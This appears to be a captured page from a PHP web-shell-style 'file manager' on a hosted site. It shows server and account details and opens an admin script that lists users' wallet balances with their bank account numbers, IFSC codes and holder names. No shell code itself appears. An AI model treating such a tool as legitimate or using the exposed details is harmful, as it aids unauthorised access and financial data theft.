Enhanced PHP File Manager

⬆️ Go Up (..)

📊 Server Information

Server:

LiteSpeed

System:

Linux 5.14.0-503.34.1.el9_5.x86_64

PHP Version:

8.2.30

User:

u329947844

Directory:

/home/u329947844/domains/hifi11.in/public_html/ems/admin

Free Space:

10.26 TB

🔧 Quick Actions

✏️ Editing: bank_details.php

<?php 
include('config/db.php');
?>

<!doctype html>
<html lang="en">
<head>
    <title>Wallet Balances</title>
    <?php include('links/head.php'); ?>
    <style>
        .card-analytics {
            border-radius: 10px;
            box-shadow: 0 4px 8px rgba(0,0,0,0.1);
            margin-bottom: 20px;
        }
        .analytics-header {
            background-color: #f8f9fa;
            padding: 15px;
            border-radius: 10px 10px 0 0;
            border-bottom: 1px solid #eee;
        }
        .analytics-body {
            padding: 20px;
        }
        .back-btn {
            margin-bottom: 20px;
        }
        .table-responsive {
            overflow-x: auto;
        }
        .data-highlight {
            font-weight: bold;
            color: #2e59d9;
        }
        .bank-details {
            font-size: 0.9em;
            color: #666;
        }
        .pagination {
            justify-content: center;
            margin-top: 20px;
        }
        .table th, .table td {
            vertical-align: middle;
        }
    </style>
</head>
<body data-sidebar="dark">
    
    <div id="preloader">
        <div id="status">
            <div class="spinner"></div>
        </div>
    </div>

<div class="main-content">
            <div class="page-content">
                <div class="container-fluid">
                    <div class="row">
                        <div class="col-12">
                            <a href="index.php" class="btn btn-secondary back-btn">
                                <i class="fas fa-arrow-left"></i> Back to Dashboard
                            </a>
                            
                            <div class="card card-analytics">
                                <div class="analytics-header">
                                    <h4 class="card-title mb-0">Wallet Balances with Bank Details</h4>
                                </div>
                                <div class="analytics-body">
                                    <?php
                                    // Pagination setup
                                    $rows_per_page = 50;
                                    $current_page = isset($_GET['page']) ? (int)$_GET['page'] : 1;
                                    $offset = ($current_page - 1) * $rows_per_page;
                                    
                                    // Get total number of records
                                    $count_query = "SELECT COUNT(*) as total FROM task_wallet_records";
                                    $count_result = mysqli_query($conn, $count_query);
                                    $total_records = mysqli_fetch_assoc($count_result)['total'];
                                    $total_pages = ceil($total_records / $rows_per_page);
                                    
                                    // Main query with pagination and bank details
                                    $query = "SELECT 
                                                t.username,
                                                i.profile_name,
                                                t.task_wallet_amount as wallet_balance,
                                                COALESCE(i.intro_commission, 0) as intro_commission,
                                                (t.task_wallet_amount + COALESCE(i.intro_commission, 0)) as total_balance,
                                                b.account_number,
                                                b.ifsc_code,
                                                b.bank_name,
                                                b.account_holder_name,
                                                b.branch
                                              FROM task_wallet_records t
                                              LEFT JOIN intro_commission_records i ON t.username = i.username
                                              LEFT JOIN bank_details b ON t.username = b.username
                                              ORDER BY t.task_wallet_amount DESC
                                              LIMIT $offset, $rows_per_page";
                                    
                                    $result = mysqli_query($conn, $query);
                                    ?>

<div class="table-responsive">
                                        <table class="table table-bordered">
                                            <thead>
                                                <tr>
                                                    <th>S.No.</th>
                                                    <th>Username</th>
                                                    <th>Profile Name</th>
                                                    <th>Task Wallet</th>
                                                    <th>Intro Commission</th>
                                                    <th>Total Balance</th>
                                                    <th>Bank Details</th>
                                                </tr>
                                            </thead>
                                            <tbody>
                                                <?php
                                                if ($result && mysqli_num_rows($result) > 0) {
                                                    $serial = $offset + 1;
                                                    while ($row = mysqli_fetch_assoc($result)) {
                                                        echo "<tr>";
                                                        echo "<td>" . $serial++ . "</td>";
                                                        echo "<td>" . htmlspecialchars($row['username']) . "</td>";
                                                        echo "<td>" . htmlspecialchars($row['profile_name'] ?? 'N/A') . "</td>";
                                                        echo "<td class='data-highlight'>₹" . number_format($row['wallet_balance'], 2) . "</td>";
                                                        echo "<td class='data-highlight'>₹" . number_format($row['intro_commission'], 2) . "</td>";
                                                        echo "<td class='data-highlight'>₹" . number_format($row['total_balance'], 2) . "</td>";
                                                        
                                                        // Bank details column
                                                        echo "<td class='bank-details'>";
                                                        if ($row['account_number']) {
                                                            echo "<div><strong>Account:</strong> " . htmlspecialchars($row['account_number']) . "</div>";
                                                            echo "<div><strong>IFSC:</strong> " . htmlspecialchars($row['ifsc_code']) . "</div>";
                                                            echo "<div><strong>Bank:</strong> " . htmlspecialchars($row['bank_name']) . "</div>";
                                                            echo "<div><strong>Holder:</strong> " . htmlspecialchars($row['account_holder_name']) . "</div>";
                                                            echo "<div><strong>Branch:</strong> " . htmlspecialchars($row['branch']) . "</div>";
                                                        } else {
                                                            echo "Bank details not available";
                                                        }
                                                        echo "</td>";
                                                        
                                                        echo "</tr>";
                                                    }
                                                } else {
                                                    echo "<tr><td colspan='7' class='text-center'>No wallet records found</td></tr>";
                                                }
                                                ?>
                                            </tbody>
                                        </table>
                                    </div>

</div>
                            </div>
                        </div>
                    </div>
                </div>
            </div>

<?php include('includes/footer.php') ?>
        </div>
    </div>

<?php include('includes/rightbar.php') ?>
    
    <div class="rightbar-overlay"></div>
    <?php include('links/scripts.php') ?>
</body>
</html>

❌ Cancel

🗂️ Enhanced PHP File Manager

📊 Server Information

🔧 Quick Actions

✏️ Editing: bank_details.php

📤 Upload File

📁 Create Folder

📄 Create File

✏️ Rename Item

🗑️ Delete Confirmation